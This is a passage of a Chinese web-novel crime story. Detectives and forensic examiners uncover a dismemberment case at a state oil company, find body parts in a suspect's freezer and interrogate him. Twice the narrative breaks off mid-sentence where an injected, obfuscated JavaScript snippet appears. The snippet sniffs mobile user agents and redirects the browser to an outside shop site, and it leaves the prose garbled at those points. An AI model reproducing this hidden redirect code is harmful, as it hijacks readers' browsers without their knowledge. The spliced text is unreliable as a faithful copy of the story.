油脂公司的领导听到说有人想见他,看样子是来采购工业用油的,直接说:“不见,采买去找供销科。” 隶市油脂公司是国营大企,根本看不上这一点半点的苍蝇腿。 陆闻渊可不管三七二十一,知道油脂厂领导在里面,一把推开拦在门口的秘书直接开门走了进去。 奢华的办公室里,宽大的办公桌上竖着一个牌子:总经理,钱海洋。 钱海洋正坐在自己的老板椅上闭目养神,被突然闯进来的人吵醒,还来不及发火,一张公安人员工作证就怼到了面前。 陆闻渊摘下□□镜挂在胸前领口处,厉声道:“钱海洋,我们是市局公安。” 听到“公安”两个字,钱海洋的脸色瞬间变得惨白,差点从椅子上滑下来,说话都不太利索了:“公,公安同志。” 自己吃回扣那点事儿,这么快就被发现了?公安是抓他来了? 钱海洋面如死灰,早知道不贪那么多了,没想到这么快就败露了。他垂着头,伸出双手,想象中的冰冷手铐并没有拷上来。 陆闻渊眉峰一扫,当即就看出油脂公司这位总经理身上有事儿。他不动声色地拉开椅子,大马金刀地往他对面一坐,指节漫不经心地敲了敲桌面,忽然压低了声音,诈他道:“钱海洋,你那点事儿,我们已经摸得一清二楚了,证据链齐全,你下半辈子恐怕都要在牢里度过了。” 钱海洋吓得站都要站不住了。姜蕊及时开口给了他一线希望:“现在有另一个案子需要你配合,如果你能帮我们破案,我们队长会酌情为你申请,争取给你宽大处理的。” 钱海洋连连点头:“公安同志,我配合,我一定配合。” “有群众举报,说你们公司车间疑似有人销毁人体组织,如果群众的举报是真的,这就是恶性案件……” 姜蕊还没说完,钱海洋两眼一翻,摔在了地上,口里还念念有词:“人体组织,那不就是出人命了吗?出人命……” “……” 陆闻渊从鼻腔里叹出口气,起身绕过大办公桌将摔在地上的钱海洋提溜了起来。 钱海洋虽然个子不高,但身子很宽,目测一七五的身高,体重有一百八十斤。但陆闻渊一九零的身高,看着不胖,却轻轻松松将钱海洋提溜回了他的老板椅上。 陆闻渊的大手用力按在钱海洋的肩膀上:“你先冷静听我说。虽然是凶杀案,但基本上跟你没什么关系。你现在要做的是先找借口安排车间停工,让车间的工人原地等待,这期间不许任何人离开岗位和工厂。剩下的交给我们就可以了。” “好,好。” 钱海洋走到门口,抬起双手一用力抹了把脸,才打开门,对着秘书吩咐道:“去,口头通知车间各部门,立即停工,一会儿技术监督局的领导要去车间检查,让员工都在原地等待。” 秘书见自家整天笑嘻嘻的领导一副快哭出来的模样,便知道事情不简单,急忙跑下去通知了。 一个小时后,精炼车间。 结晶罐出口处,堆满了半凝固的冷油,浑浊发稠,油脂的腥气扑面而来。 法医室主任宋辞站在一旁,垂眸看着实习法医崔宝宝手持一把长柄不锈钢取样勺,在管中取样。 崔宝宝别扭着姿势出了一身汗,她技巧性的一用力,勺头碰到罐底时发出轻微的磕碰声,沉在最下方的暗褐色油泥被翻搅起来。 突然,崔宝宝一震:“有了!” 只见暗褐色的油泥里夹杂着一些灰白、几缕泡得发胀的絮状异物在冷油里清晰可见。 崔宝宝小心地将取样勺收回来,看向宋辞:“师兄,找到了!” 宋辞脸上露出了堪称微笑的表情,轻轻点了下头。 这让旁边的刑警队长陆闻渊几乎惊掉了下巴,这小子也会笑? 大概是陆队长的视线太耀眼,宋辞收起笑容,警告的看了陆闻渊一眼。 陆闻渊:“……” 姜蕊眼珠子滴溜溜转,视线在陆闻渊、宋辞、崔宝宝三人之间来来回回,费解地思索着,刑警队的关系怎么比命案还复杂? 不管了。 宋辞这边已经用镊子从取样勺里挑出了一点混在油污里的灰白色絮状物,轻轻按在一张干燥滤纸上。他将试纸放在临时的工作台上,小心地按稳试纸边缘。 “崔,你来,滴两滴茚三酮试剂。” 崔宝宝依言小心滴下两滴淡黄色的茚三酮试剂。 油污被慢慢晕开,那些灰白色的絮状物却仍然凝在试纸中央。 不用宋辞提醒,崔宝宝已经点燃了酒精灯,摆在临时工作台上。宋辞用镊子夹着试纸,凑近酒精灯外焰微微烘烤。 不过几秒钟,原本灰白的小点边缘,竟缓缓透出一层淡淡的蓝紫色,像淤血在纸里慢慢晕开。 宋辞先侧头看了眼崔宝宝,解释道:“茚三酮试纸法,微微加热后立刻显现出蓝紫色,这是人体蛋白特有的反应。” 接着,他抬头看向陆闻渊和姜蕊,声音没有任何起伏:“阳性,是人体组织。” “扑通——”一声,跟着一起过来的油脂公司总经理钱海洋被吓晕了过去。 陆闻渊咬了咬牙:“就这点出息,怎么当上这么大个公司领导的?” 他随手指了两个实习警:“你们俩,把他抬出去。醒了之后直接带回市局。” 钱海洋犯下的经济案件,正好一并查了。 油脂厂车间。 原料车间的切块机旁,周建民用抹布擦拭着放下手里的砍骨刀,叹了口气,跟对面的同事抱怨道:“不是上个月刚查过吗?怎么这个月又来?停工检查影响咱们定额不说,每次一检查不是这不合格,就是那不合格,一大堆问题,还影响评分。” 周建民对此颇有微词:“看来这个月又评不上先进了” 周建民絮絮叨叨一大段,也不见对面的人回应,这才奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406827|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的转头望去:“诶,老范,你怎么了?脸色怎么那么难看?要不要我帮你跟主任请个假。” “不用了,我没事。”被叫做老范的人沉着一张脸,声音压得很低,时不时向脚下望一眼。 周建民看不过去:“你脚下有金子啊,老看什么?” 老范飞速看了他一眼,没说话,积雪低着头。 周建民也没放在心上,还在嘀嘀咕咕:“不知道这检查什么时候结束,我还想早点下班,去称点肉,回家给我妈包饺子吃。” 老范突然转过头,一脸古怪地盯着周建民,眼睛一眨不眨的。 周建民被他盯得心里发毛:“你,咳,你看着我干什么?” 老范:“给你妈包饺子?” 周建民:“啊,怎么了?你也想吃啊?” 老范摇了摇头,阴沉的脸上突然勾起一个古怪的弧度:“你挺孝顺。” 明明是夸奖,但这声音传进周建民的耳朵里,却让他起了一身鸡皮疙瘩。 “汪汪汪——” 突然出现的狗叫声,在车间引起了一震骚动。 周建民好奇的向外张望:“谁把狗带车间来了?” 要知道,油脂厂厂规里就有一条,严禁职工带狗和其他活物进厂的。 “不会是办公大楼里的人吧,这些领导就是,严于待人,宽于律己,不让职工带狗,自己倒带了。你说是不是,老范?” 那边老范耷拉着眼睛,没有回答他,不知道自个儿在想什么。 周建民见怪不怪了,他跟老范共事有一个月了,老范好像脑子有问题,要不就是听不见别人说话,要不就是说些莫名其妙的话。 “汪汪汪——”狗叫声更近了。 不多时,就见一群人风风火火地走了进来,为首的正是一条狗。 周建民这才看见,那汪汪叫的狗身上还穿着背心,上面还用大红写着“警犬”两个字。 那哪是一般的狗啊?人家那是吃公家饭、有编制的狗。 周建民是第一次见警犬,挺新奇,却又好奇,技术局检查怎么还动用警犬了呢? 他不经意看向对面的老范,只见老范死死瞪着那只警犬,人警犬走到他跟前,也不知道让让路。 周建民刚想开口提醒老范两句,就见几个警察飞速上前,将老范按在了地上。 “诶,不是?”周建民有点懵,“他一个傻子,不就没给警犬让路吗?你们也不至于抓他吧?” 他话音刚落,就见警犬从老范脚底下叼出来一个军绿色的帆布包。 一个穿着像大老板,胸前还挂这个□□镜的男人,蹲下身子接过帆布包,还在警犬的下巴上兜了两下。 □□镜打开帆布包,里边是一个黑色的塑料袋。 “哗拉拉”一阵响,塑料袋也被打开了。□□镜身边的一个顶漂亮的姑娘垫着脚向前看了一眼,两人脸色同时变了。 “带走吧。通知相关部门,油脂公司先停工,所有设备全封,等我们取证完,再让他们开工。” 这个相对封闭的空间里,只有周建民这一个油脂厂内部人员没听明白:“为什么要停工?封设备干嘛?” 直到□□镜将手中的黑色塑料袋塞进另一边一个年轻男人怀里:“去,拿给宋法医。” □□镜塞的太突然,年轻男人吓了一跳,没接住,塑料袋连同里边的东西同时掉在了地上…… 我的妈呀!那,好像是半颗人的脑袋! “咚——”周建民直挺挺倒了下去…… 15. 第 15 章 周五下班后。 本来以为破了一桩大案,可以有一个美好休息日的市局精英们,被陆闻渊一声令下,全喊回来加班了。 “梅梅姐,咱们国家推行双休好几个月了,可咱们一天双休都没捞着过,你说咱们的命怎么这么苦吆!” 新来的实习警小周下午被技术队征召了,这会儿刚拎着箱子回来,要往法医室送,与从另一侧回来的韩梅梅在二楼走廊碰上了,就忍不住唠叨了一声。 韩梅梅在小刑警肩膀上结结实实来了一拳:“别抱怨了,咱刑警就是吃这碗饭的,案子不破不可能放假的。快去吧。” 说完,韩梅梅快步走进办公室,人未到,声先至:“陆队,我回来了。” “嫌疑人范兴平,男,五十三岁,本市新市区人,原来就是工业新区征地那片范家村的村民,去年工业新区占地拆迁后,就住在新区边上的新民小区,是一片安置房,小区里都是就地安置的回迁户。” 韩梅梅递上手中的资料,嘴跟机关枪似的,将犯罪嫌疑人的履历汇报了一遍:“此外,范兴平家中有三口人,其父范守方现年七十九岁,无劳动能力,单独住在另一套回迁房里,靠捡破烂为生。其子范进二十一岁,无固定职业,与范兴平住一起,长期闲散在家,品行不端,曾有两次治安纠纷记录,最后一次是当街耍流氓,被治安拘留15日,现在还在拘留所里。” 陆闻渊:“那他媳妇儿呢?离婚了?” 韩梅梅:“不,是丧偶。范兴平的妻子陈香芹,在1990年大年初一,于家中上吊自尽。” 顿了一下,韩梅梅接着汇报道:“这次的死者名叫秦玉玲,女,二十二岁,系河梁省来隶务工人员,曾在康达屠宰场短暂的工作过,离职后一直无业,与范进同居在新民小区,范兴平的家中。” 除了范兴平脚底下的的半颗人头,这一层关系更能说明死者的死与范兴平父子有关。 陆闻渊翻了翻手中的资料,眼皮一抬看向姜蕊,将资料递给她:“你看看,还能想起什么来吗?” 姜蕊摇摇头:“我能想起来的已经全部告诉你了,其他的再也没有了。不过我觉得我们现在应该先到范兴平家里去看看,说不定能发现什么线索。” 陆闻渊:“跟我想到一块儿去了。” 这个范兴平,自从被带回市局,嘴就没张开过,问话不回,连水都不喝,真是块儿硬骨头。 既然从犯罪嫌疑人内部获得不了什么有用信息,那只能靠他们这帮公安查了。 只要他做过,必然会留下线索,不怕查不到。 “走,去新民小区。” 陆闻渊捞起车钥匙就往外走,走了两步发现没人跟上来,回头看了一眼:“等什么呢?走啊。” 姜蕊指了指自己的鼻尖:“我?” 又指了指韩梅梅:“还是梅梅姐?” 韩梅梅听到姜蕊这声“姐”,心里乐开了花,以前警队属她最小,看见谁都得叫声“哥哥姐姐”的,后来来了两个实习警,终于有一个比她小半个月的小周,在她的强烈要求下,小周每次见她都得喊一声“姐”。这会儿又白得姜蕊一声“姐”,真是浑身舒畅。 韩梅梅什么德行陆闻渊最清楚了,嫌弃的道:“韩梅梅,现在我们遇到的是命案,你嘴角抬那么高做什么?严肃点。” “哦。”韩梅梅瞬间收敛了笑容,立正站好。 陆闻渊大手一挥:“你俩都跟我走。”他指了指韩梅梅,“去技术科把小周叫回来,让他一起去。” 陆闻渊的切诺基下午从新区开回市局,到晚上又上了开往新区安置房的路。 车上两个女同志,外加一个实习警,都没有驾照,只能由陆闻渊这个刑警队长亲自开车。 “陆队,我有个问题。”和韩梅梅一起坐在后排的小周,小学生一样举起手来,目光灼灼地看着自家队长的侧脸。 陆闻渊抬眼在车内后视镜里瞟了他一眼:“说。” 小周:“你这车很贵吧?” 陆闻渊皱了下眉头:“还行吧,家里长辈给买的。” 陆闻渊没说具体数字,说出来,车里这几个小年轻怕是要哭。 姜蕊坐在副驾驶,眼观鼻鼻观心,不打算加入这样敏感的谈话。 小周一脸羡慕:“真好啊!我爸妈都是农民,连拖拉机都买不起。我一个月实习工资才两百八,转正了也才三百五,不知道什么时候才能开上这么好的车。” 陆闻渊提了半口气,又看了眼后视镜,叹了口气。 “你不能这么想……” “不是这样想的……” 坐在前排的两人同时开口,陆闻渊意外地看了一眼姜蕊。刚才看她在那老僧入定一样,以为她不会开口呢。 姜蕊咳嗽了一声。从后视镜里看着小周:"你比我大,我叫你一声小周哥吧。" “小周哥,话不能这样说。这车是死的,但人是活的。陆队家庭条件好,家里有矿,咱比不了,也不用比,因为他家里有多少钱,压根跟咱们关系,咱再羡慕也变不成咱的不是?” 陆闻渊侧目,她这一口一个“咱”的,倒把他越推越远了。 姜蕊手指轻轻点了他胳膊一下,示意他先别说话。 陆闻渊:“……” 姜蕊干脆侧着坐,拧过身子看着身后的小周:“但是小周哥,你还年轻啊!” 陆闻渊又叹口气很想问一句——我很老吗? 算了,忍住了。 “你今天才二十三,刚出校门就进了刑警队,实习工资就两百八,转正后三百五,对于一般人来说,这些工资也不低了吧?不说别人了,就你们村那些人羡慕你都羡慕不来吧?” 姜蕊又一指陆闻渊:“你还羡慕陆队,你问问他像你这么大进警队实习的时候,实习工资才多少?” 小周闻言,还真的巴巴看向陆闻渊。 陆闻渊叹了口气,张嘴说出了一个数字:“四十五。” “啊?” 姜蕊着实意外,她肯定陆闻渊那时候的工资水平低,却没想到这么低。 几十块钱的工资,那不得十年前啊。 姜蕊盯着陆闻渊那张脸仔细看了看,嗯,今天刮了胡子,不再邋遢,看着年轻了许多,不像三十大几的人。 陆闻渊目不斜视的开车,突然开口道:“我没有三十好几啊,本人十九岁进入刑警队实习,今天正好工作十年,年方二十九。” 姜蕊:“……” 天老爷啊!陆闻渊不会长了天眼吧?怎么知道她在想什么? 不过才二十九就当上刑警队长了,可见是真有本事。 姜蕊没接话,继续对小周说:“你看陆队进刑警队的时候比你还小的,如今也干成了一道杠两颗星,只 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“这家人忒奇怪,那个老范见了谁都阴沉着个脸,跟别人怎么着他了似的;还有那个小范,整个一个二流子,整天不务正业,招猫逗狗,还当街耍流氓!我有好几次看到,他就抱着那个女孩子在楼门口亲……亲嘴,哎呦,有伤风化,简直没眼看。” 小周敲了半天门没人应,陆闻渊便让他找来了新民小区居委会主任做个见证,他们好进去看看有什么线索没有。可找来的这名居委会主任大姐一听他们是警察,特别热情,一来到这说话就没听过,全是对这一家人的不满。 陆闻渊问:“你说的哪个女孩子,最近有见过她吗?” 居委会主任大姐一脸懵:“你说的哪个?她隔三差五就带不同的姑娘回来。” “这个。”姜蕊将口袋里自己没事画的死者素描拿给居委会主任看,“画上的这个女孩子,你认识吗?” 居委会主任仔细看了两遍,摇摇头:“没什么印象。小范每次带回来的女孩子都差不多,我没见过他们的脸。” 姜蕊收起稿纸道了谢,谁知那居委会主任又拉着她开始诉苦:“你是不知道,还有老范他爹,老老范,就住在前边那栋楼,整天从垃圾桶里捡些垃圾回来,都塞在家里,弄得整个单元楼都臭烘烘的,群众们都投诉好几回了。可他都七十九了,他儿子都不管他,谁也拿他没办法。” “好了,谢谢您提供的线索,我们知道了。” 陆闻渊用一根铁丝撬开了范兴平家的门锁,打开门走了进去。 范兴平家两室一厅,不大也不小,但是很脏很乱,平常应该基本没有人收拾。 确认屋里没有人后,陆闻渊道:“都仔细点,看看有没有血迹或者其他可疑的组织。” 陆闻渊开始分工,“韩梅梅你去查主卧,小周去次卧,姜蕊你去厨……” 想到在李志强家厨房的锅里看到的东西,陆闻渊说话拐了个弯儿:“你去查厕所吧。” 说完他还不放心,打开厕所门看了一下,表面上除了脏没有其他问题,才让姜蕊进去,自己转身则钻进了厨房。 四人仔仔细细里里外外的将范兴平家翻了一个遍,姜蕊连马桶后边的桶壁都检查了两遍,就差把厕所翻个过来了,愣是什么都没发现。 “这里没有任何疑似凶杀的痕迹,所以,这里不是第一案发现场。” 16. 第 16 章 几人从楼道里出来,陆闻渊看着楼前一排红砖小平房,问居委会主任,“这个小区每户人家都有个仓房吗?” “对。安置楼配仓房那是标配,要不然老百姓家里的东西都没地儿放。”居委会主任带他们径直走到编号为102的铁门前:“这就是老范家的仓房。” 又是陆闻渊动手,用专业技巧打开了102储藏室的小铁门。 “吱——嘎——”一声,生锈的铁门被人推开,一股又闷又臭的味道扑面而来。 这间不足十平米的小屋里,水泥地上稀稀拉拉地堆着几棵已经烂得流水的白菜;角落里的一个红色塑料袋摊开着,里面疑似红薯的东西早已长出了白毛,脏水淌了一地。地面上还散落着各种看不清面目的杂物,整个屋子显得又脏又乱。 最引人瞩目的是,这个小仓房最里侧的角落里,正静静地躺着一个巨大的冰柜。 远远看去,那冰柜似乎有些年头了,最外边的白铁皮已经晒得发黄,边角也被磕得坑坑洼洼,有好几处漆皮剥落了下来,漏出的铁皮都已经生锈。 一时间,谁也没有说话,储藏室里十分安静,冰柜“嗡嗡嗡”的声音格外清晰。 冰柜还在运转。 姜蕊与韩梅梅、小周三人互视一眼,几乎同时联想到死者的尸体还没找全。 “呕——”小周突然捂着嘴跑到一边吐去了。 居委会主任不明所以,以为小周是被熏吐的,也跟着捂着鼻子躲到了老远:“哎呦,你这男同志还不如两个女同志呢!” 小周:“……” 陆闻渊皱了皱眉头,看了不远处的小周一眼,见怪不怪。 “地方太小小,你们在外边等着,我进去看看。” 姜蕊看到陆闻渊从口袋里摸出一个迷你铁皮手电,在头部轻轻一拧,手电便亮起了一束昏黄的光柱。 陆闻渊垫着脚尖走进储藏间,迷你手电昏黄的光一寸一寸略过储藏间的地面和墙角。在门口的姜蕊借着那点光,看到储藏室地面上叠着密密麻麻的脚印,有的是因为踩进菜汁里,拖出的痕迹;更多的则是黑乎乎的,看不出是因为踩过什么留下的。这些黑乎乎的脚印越到冰柜跟前越密集,直到光束打在冰柜跟前的地面上,那是一滩黑乎乎的已经凝结的液体。 姜蕊呼吸猛然一沉,后颈一阵发凉。她顺着握着迷你手电那只大手一路向上,望向陆闻渊的侧脸。 如果她没看错的话,那是一摊干涸的血渍。那冰柜里…… 陆闻渊垂眸盯着着这个锈迹斑斑的老冰柜,他的顶盖上蒙了厚厚的一层灰尘,应该很久没人擦过了。可靠近拉手边缘的那一圈位置,却十分干净,上面还印着几枚清晰的手指印。 说明最近经常有人开关这个冰柜。 冰柜顶盖一圈黑色的胶条因为老化发硬关不严,漏了一条细缝出来。 陆闻渊眉眼往下一压,指尖抵住冰柜顶盖的缝隙,缓缓往上一掀。瞬间,冷气裹着一股腐朽的气息扑面而来。 由于身高和距离的原因,姜蕊看不到冰柜里面的情形,但看陆闻渊的表情,便知道他们找对了。 陆闻渊缓缓吸了一口气,“啪”的一声放下盖子,在原地站了几秒,才转身走出储藏间。 姜蕊一直盯着陆闻渊的表情,不用陆闻渊说也将里边的情形猜了个七八成。 韩梅梅和刚刚缓过来的小周,两个人都睁着圆溜溜的大眼睛,望着陆闻渊。 “陆队?” 陆闻渊叹了口气,声音压得极低:“守在这里,保护好现场,别叫人进去乱踩。” 说完,他已经拨出了电话:“喂,张局,新市区新民小区13栋二单元102室的仓房,需要局里增援,还有宋主任他们可能忙不过来,还请您再找兄弟单位协调几个法医和技术员过来;另外,您可能得亲自来一趟现场,情况有点复杂。” 这一夜,新民小区突然开进来好几辆警车,公安同志们个个神情严肃,在13栋楼前来来回回一宿,还从某个仓房里搬了什么东西出来。 第二天一早,公安人员终于全都撤了,新民小区的吃瓜群众集合在13栋楼前,看着贴着封条的102的仓房门,交流着自己的信息。 “听说老范家的仓房里发现了死人。” “我怎么听说是死人头啊,还是半个!真的,油脂公司都传开了。我嫂子就在油脂公司上班,她亲眼看见老范被公安带走的。” “你们都错了,我听居委会的人说了,老范家仓房里有个冰柜,里边全是尸块……” 不远处,一个老人步履蹒跚地走了过来,停在了垃圾桶旁,开始在里边翻寻着什么。 交流信息的几个新民居群众互相看了一眼,心照不宣的散开,各回各家了。 …… 切诺基缓缓在和平小区门口停了下来,陆闻渊抬手拨了一下车门上的中控锁,对姜蕊道:“行了,你跟着熬了一宿,今天先回家休息吧,至于入队的手续,我让韩梅梅帮你走了,明天直接来办公室找我就行。” 姜蕊看着眼圈都熬得通红、下巴上还露着一圈胡茬的陆闻渊,还有后排抓紧时间补眠的韩梅梅和小周,想说自己比他们都年轻,还可以熬。 可陆闻渊不给她开口的机会,解开安全带,长臂一伸,直接帮姜蕊打开了副驾驶的车门:“去吧,检材都带到法医室和技术科检验了,审讯范兴平你也帮不上什么忙,不如先回家好好休息,万一再梦到什么线索好及时通知我们。” 其实案子查到现在,姜蕊能不能提供线索,都不会影响刑警队继续查这案子。他这么说,完全是单纯地把人赶回家休息。 姜蕊也不好再说什么:“好的,那我先回去了,你们也……” 姜蕊想说“你们也注意休息”,但想想这么大的案子,恐怕刑警队每个人都没时间休息了。 最后只说:“你们注意安全。” 姜蕊刚下了车,向前走了两步,转过身,一声“再见”还没说出口,切诺基就像火箭一样,“噌”一下,弹进了市局大门。 姜蕊:“……” 市局审讯室里。 范兴平已经不吃不喝也不说话,枯坐了一天一夜了。 陆闻渊和副队长秦正走进审讯室,将一沓资料摔在桌面上,把刚坐下的记录员韩梅梅吓了一跳,可范兴平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406829|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却连眼皮都没抬一下。 陆闻渊和秦正对视一眼,两人心照不宣,看来这个范兴平是要跟他们装死到底了。 “范兴平,”陆闻渊居高临下,音量不高,冰冷的声音却像一把尖刀一样,直抵范兴平的心口。 “你从什么时候开始处理这些尸块的?” 陆闻渊此话一出,范兴平肉眼可见的僵了一下,他缓缓抬起眼,看向陆闻渊,好像在问他怎么知道的。 几秒钟之后,范兴平复又垂下了头,恢复成刚才那副无赖样子,低声回答:“我不懂你在说什么。” 陆闻渊嘴角一勾,又很快拉直。 很好,肯说就行。 不怕你瞎说,就怕你不说。警方有的是办法从罪犯的谎言中筛查出真相。 “死者里有男人也有女人,行凶的凶器十分特别,凭你一个人不可能做到的,我劝你还是坦白从宽。还有,如果你没有参与杀害死者,只是毁坏尸体的话,根本判不了几年。” 范兴平还是不为所动。 陆闻渊像突然想起了什么,又道:“哦,对了,我们的人已经去看守所提范进了,你的事情,你儿子应该知道点吧?你不说,我们有的是办法让他说。” 范兴平发刚才还一副死猪不怕开水烫的表情,瞬间龟裂了。他双眼猩红,猛地向前扑去,拷在桌上的双手被勒得通红:“你们找他干什么,跟他一点关系也没有,不是他干的。” 这些公安怎么回事?他们抓范进干什么?他很自信,自己做的一切都跟儿子扯不上任何关系。 他这一天一夜都在回想,到底是哪里出了错误,公司不是说技监局检查吗?怎么最后成了公安牵着警犬进了车间,还将她还没来得及销毁的半颗脑袋找了出去。 明明他做了好几次,都没被人发现过,为什么公安突然找上门。 难道他已经成了弃子,那些人故意泄露他的身份,故意让公安来抓他。 陆闻渊放松地拷在椅背上,用懒懒散散的声调说:“跟他没有关系吗?可她们可不是这么说的。你……” “不,他们不可能出卖我的,肯定是别!到底是谁?是谁出卖我?” 陆闻渊老神在在,长手攥着钢笔,有一下没一下的戳在面前的文件上。 “让我告诉你是谁出卖你的也可以,但你必须将你知道的一切告诉我。” …… 和平小区三号楼一单元101。 “嚓、嚓、嚓”,好像是铁锹扎进土里的声音。 姜蕊困得眼皮子都黏一起了,还是被这阵嘈杂的声音吵醒。 一睁眼,面前一片漆黑,只有不远处的缝隙里透出来一点黄色的光。 姜蕊这才看清,自己现在应该是被压在什么东西下边。透过那点缝隙往外看,看到的是一直铁锹正在地上挖土。 不知道挖第几下的时候,铁锹突然顿住。 然后姜蕊看到一只干枯苍老的手,从土里拽出来一样白花花带点青色的东西。 姜蕊还来不及想那是什么,那只老手就拎着东西一甩,表面的泥浆脱落,半截人的手臂就那么直挺挺的立在姜蕊面前。